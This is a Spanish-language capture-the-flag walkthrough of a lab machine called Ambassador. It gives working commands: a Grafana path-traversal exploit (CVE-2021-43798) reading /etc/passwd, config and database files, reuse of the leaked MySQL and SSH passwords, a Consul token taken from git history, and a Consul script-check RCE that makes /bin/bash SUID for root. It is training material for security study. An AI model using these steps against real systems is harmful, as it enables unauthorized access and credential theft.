Ambassador
11 minutos de lectura
consul
internamente con una configuración vulnerable. Después de encontrar un token de autenticación en un repositorio de Git, podemos usar un exploit para obtener RCE en consul
y ganar acceso como root
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.183
- Fecha: 01 / 10 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.183 -p 22,80,3000,3306
Nmap scan report for 10.10.11.183
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
| 256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_ 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date:
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date:
|_ Content-Length: 0
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 10
| Capabilities flags: 65535
| Some Capabilities: ODBCClient, LongColumnFlag, InteractiveClient, Speaks41ProtocolNew, FoundRows, LongPassword, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, IgnoreSigpipes, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, SupportsTransactions, IgnoreSpaceBeforeParenthesis, SupportsCompression, Support41Auth, ConnectWithDatabase, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: &^TZ(\x05YqxR\x0EI:f\x03_cqkl
|_ Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 125.50 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80, 3000 (HTTP) y 3306 (MySQL).
Enumeración
Si vamos a http://10.10.11.183
, veremos esta página web:
Se trata de un blog con el siguiente artículo:
Lo único interesante aquí es que tenemos un nombre de usuario (developer
).
En el puerto 3000 tenemos Grafana:
Se trata de Grafana v8.2.0, como se muestra en el pie de página. Si buscamos vulnerabilidades, encontramos una que se aplica a esta versión:
$ searchsploit grafana
------------------------------------------------------------ ---------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
------------------------------------------------------------ ---------------------------
Shellcodes: No Results
Acceso a la máquina
Por lo tanto, estaremos explotando CVE-2021-43798, que es una vulnerabilidad de Directory Path Traversal sin autenticación en Grafana.
Lectura de archivos del servidor
Primero, utilizaremos el script referenciado por searchploit
:
$ python3 50581.py -H http://10.10.11.183:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
Funciona, por lo que tenemos la capacidad de leer archivos del servidor siempre que sepamos la ruta completa. En realidad, podemos hacer lo mismo usando curl
:
$ curl --path-as-is 10.10.11.183:3000/public/plugins/elasticsearch/../../../../../../../../etc/hosts
127.0.0.1 localhost
127.0.1.1 ambassador
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Nótese el uso de la opción --path-as-is
para prevenir comportamientos extraños de ../
, como muestra 0xdf en este vídeo.
Si leemos la documentación de Grafana, vemos que los archivos de configuración generalmente se almacenan en /etc/grafana/grafana.ini
cuando se ha instalado en Linux usando un gestor de paquetes. Podemos descargar el archivo y leer las líneas que importan (las que no están en blanco o comentadas):
$ curl --path-as-is 10.10.11.183:3000/public/plugins/elasticsearch/../../../../../../../../etc/grafana/grafana.ini -so grafana.ini
$ grep -vE '^;|^#|^\[|^$' grafana.ini
admin_password = messageInABottle685427
Y tenemos una contraseña (en realidad una canción de The Police). Ahora tenemos acceso a Grafana usando admin:messageInABottle685427
:
Aquí podemos probar un poco y ver que hay una fuente de datos llamada mysql.yaml
, pero nada más:
Sería útil obtener la contraseña utilizada para conectarse a MySQL.
Conexión a MySQL
Podemos continuar explotando la vulnerabilidad de Directory Path Traversal y leer la base de datos SQLite3 utilizada por Grafana almacenada en /var/lib/grafana/grafana.db
:
$ curl --path-as-is 10.10.11.183:3000/public/plugins/elasticsearch/../../../../../../../../var/lib/grafana/grafana.db -so grafana.db
$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 512, database pages 161, cookie 0x119, schema 4, UTF-8, version-valid-for 512
$ sqlite3 grafana.db
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> .tables
alert login_attempt
alert_configuration migration_log
alert_instance ngalert_configuration
alert_notification org
alert_notification_state org_user
alert_rule playlist
alert_rule_tag playlist_item
alert_rule_version plugin_setting
annotation preferences
annotation_tag quota
api_key server_lock
cache_data session
dashboard short_url
dashboard_acl star
dashboard_provisioning tag
dashboard_snapshot team
dashboard_tag team_member
dashboard_version temp_user
data_source test_data
kv_store user
library_element user_auth
library_element_connection user_auth_token
sqlite> .header on
sqlite> select * from data_source;
id|org_id|version|type|name|access|url|password|user|database|basic_auth|basic_auth_user|basic_auth_password|is_default|json_data|created|updated|with_credentials|secure_json_data|read_only|uid
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2022-10-18 23:09:00|0|{}|1|uKewFgM4z
sqlite> .exit
Y aquí tenemos la contraseña utilizada para MySQL, que es otra canción de The Police. Ahora podemos acceder a la instancia de MySQL con este comando:
$ mysql --user=grafana --password=dontStandSoCloseToMe63221! --host=10.10.11.183
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 103
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0,10 sec)
Hay una base de datos sospechosa llamada whackywidget
… Veamos qué hay dentro:
mysql> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0,10 sec)
mysql> describe users;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| user | varchar(255) | YES | | NULL | |
| pass | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0,11 sec)
mysql> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0,11 sec)
Parece una contraseña codificada en Base64:
$ echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | base64 -d
anEnglishManInNewYork027468
Esta vez, es una canción de Sting, el líder de The Police. De todos modos, esta fue la contraseña mencionada por la publicación del blog al principio, por lo que tenemos acceso por SSH como developer
:
$ ssh developer@10.10.11.183
developer@10.10.11.183's password:
developer@ambassador:~$ cat user.txt
58ffbf48bc8ea27324e379860cf8c5cc
Enumeración del sistema
Podemos ver que hay muchos puertos abiertos internamente:
developer@ambassador:~$ netstat -nat | grep LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::3000 :::* LISTEN
Podemos echar un vistazo a /proc/net/tcp
para ver el UID que ejecuta el proceso que escucha en esos puertos TCP:
developer@ambassador:~$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 114 0 37703 1 0000000000000000 100 0 0 10 0
1: 00000000:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 114 0 37705 1 0000000000000000 100 0 0 10 0
2: 0100007F:206C 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37944 1 0000000000000000 100 0 0 10 0
3: 0100007F:206D 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37946 1 0000000000000000 100 0 0 10 0
4: 0100007F:206E 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37667 1 0000000000000000 100 0 0 10 0
5: 0100007F:2134 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37962 1 0000000000000000 100 0 0 10 0
6: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 35809 1 0000000000000000 100 0 0 10 0
7: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 36734 1 0000000000000000 100 0 0 10 0
8: 0100007F:2198 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37960 1 0000000000000000 100 0 0 10 0
9: 0100007F:A85B 0100007F:206C 01 00000000:00000000 02:00000146 00000000 0 0 37672 2 0000000000000000 20 4 28 10 -1
10: B70B0A0A:CBEE 140E0A0A:115C 01 00000000:00000000 00:00000000 00000000 0 0 158001 1 0000000000000000 21 4 29 10 -1
11: 0100007F:97D5 0100007F:206C 01 00000000:00000000 02:00000466 00000000 0 0 37673 2 0000000000000000 20 4 1 10 -1
12: B70B0A0A:0016 2C110A0A:D8D1 01 00000024:00000000 01:00000024 00000000 0 0 213929 4 0000000000000000 36 4 31 10 46
13: 0100007F:206C 0100007F:A85B 01 00000000:00000000 02:00000146 00000000 0 0 37676 2 0000000000000000 20 4 27 10 -1
14: B70B0A0A:E29C 08080808:0035 02 00000001:00000000 01:0000010A 00000002 101 0 216094 2 0000000000000000 400 0 0 1 7
15: 0100007F:206C 0100007F:97D5 01 00000000:00000000 02:00000466 00000000 0 0 37675 2 0000000000000000 20 4 0 10 -1
Es UID 0
para la mayoría de los puertos, por lo que los procesos se ejecutan como root
. Podemos intentar conectarnos a algunos de ellos y vemos que el puerto 8500 responde:
developer@ambassador:~$ curl 127.0.0.1:8500; echo
Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.
Vemos que está ejecutando consul
. Podemos verificar que se ejecute como root
:
developer@ambassador:~$ ps -faux | grep root | grep consul
root 1107 0.3 3.9 797876 79008 ? Ssl Oct18 4:16 /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl
Ahí está. De hecho, tenemos permisos en /etc/consul.d/config.d
como miembro del grupo developer
:
developer@ambassador:~$ ls -l /etc/consul.d/
total 16
drwx-wx--- 2 root developer 4096 Sep 14 11:00 config.d
-rw-r--r-- 1 consul consul 0 Feb 28 2022 consul.env
-rw-r--r-- 1 consul consul 5303 Mar 14 2022 consul.hcl
-rw-r--r-- 1 consul consul 160 Mar 15 2022 README
Escalada de privilegios
Después de leer algo de documentación, encontramos algunos problemas de seguridad cuando enable_script_checks
está configurado en true
(más información aquí). De hecho, tenemos esta situación:
developer@ambassador:~$ grep -vE '^#|^$' /etc/consul.d/consul.hcl
data_dir = "/opt/consul"
server = true
bind_addr = "127.0.0.1"
bootstrap_expect=1
acl {
enabled = true
default_policy = "deny"
down_policy = "extend-cache"
}
enable_script_checks = true
Esto nos permite obtener ejecución de código remoto en cónsul
. Este repositorio de GitHub tiene una herramienta que automatiza el proceso, pero necesitamos un token de autenticación.
Enumeración de Git
Echando un vistazo nuevamente a la configuración de consul
, vemos que data_dir = "/opt/consul"
, así que veamos qué hay dentro de /opt
:
developer@ambassador:~$ ls -la /opt
total 16
drwxr-xr-x 4 root root 4096 Sep 1 22:13 .
drwxr-xr-x 20 root root 4096 Sep 15 17:24 ..
drwxr-xr-x 6 consul consul 4096 Oct 19 11:47 consul
drwxrwxr-x 5 root root 4096 Mar 13 2022 my-app
developer@ambassador:~$ cd /opt/my-app/
developer@ambassador:/opt/my-app$ ls -la
total 24
drwxrwxr-x 5 root root 4096 Mar 13 2022 .
drwxr-xr-x 4 root root 4096 Sep 1 22:13 ..
drwxrwxr-x 4 root root 4096 Mar 13 2022 env
drwxrwxr-x 8 root root 4096 Mar 14 2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
Hay un repositorio de Git, vamos a enumerarlo:
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
developer@ambassador:/opt/my-app$ git show c982db
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
new file mode 100755
index 0000000..35c08f6
--- /dev/null
+++ b/whackywidget/put-config-in-consul.sh
@@ -0,0 +1,4 @@
+# We use Consul for application config in production, this script will help set the correct values for the app
+# Export MYSQL_PASSWORD before running
+
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
developer@ambassador:/opt/my-app$ cat whackywidget/put-config-in-consul.sh
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
Y parece que hubo un commit antiguo con el token de autenticación hard-coded en un archivo, y ahora lo tenemos.
Reenvío de puertos
Para conectarnos al puerto interno 8500 desde el exterior utilizando consul-rce, necesitamos reenviar el puerto, podemos hacerlo en SSH (ENTER + ~C
para obtener el interfaz ssh>
):
developer@ambassador:/opt/my-app$
developer@ambassador:/opt/my-app$ ~C
ssh> -L 8500:127.0.0.1:8500
Forwarding port.
developer@ambassador:/opt/my-app$
Ahora podemos obtener RCE. Por ejemplo, modificamos /bin/bash
para que sea un binario SUID:
developer@ambassador:/opt/my-app$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
$ python3 consul_rce.py -th 127.0.0.1 -tp 8500 -ct bb03b43b-1d81-d62b-24b5-39540ee469b5 -c 'chmod 4755 /bin/bash'
[+] Check byatdhvfeiktmga created successfully
[+] Check byatdhvfeiktmga deregistered successfully
developer@ambassador:/opt/my-app$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
Ahí está! Ahora podemos conseguir una shell como root
:
developer@ambassador:/opt/my-app$ bash -p
bash-5.0# cat /root/root.txt
237bd60d163238f5794c2a9620def8c1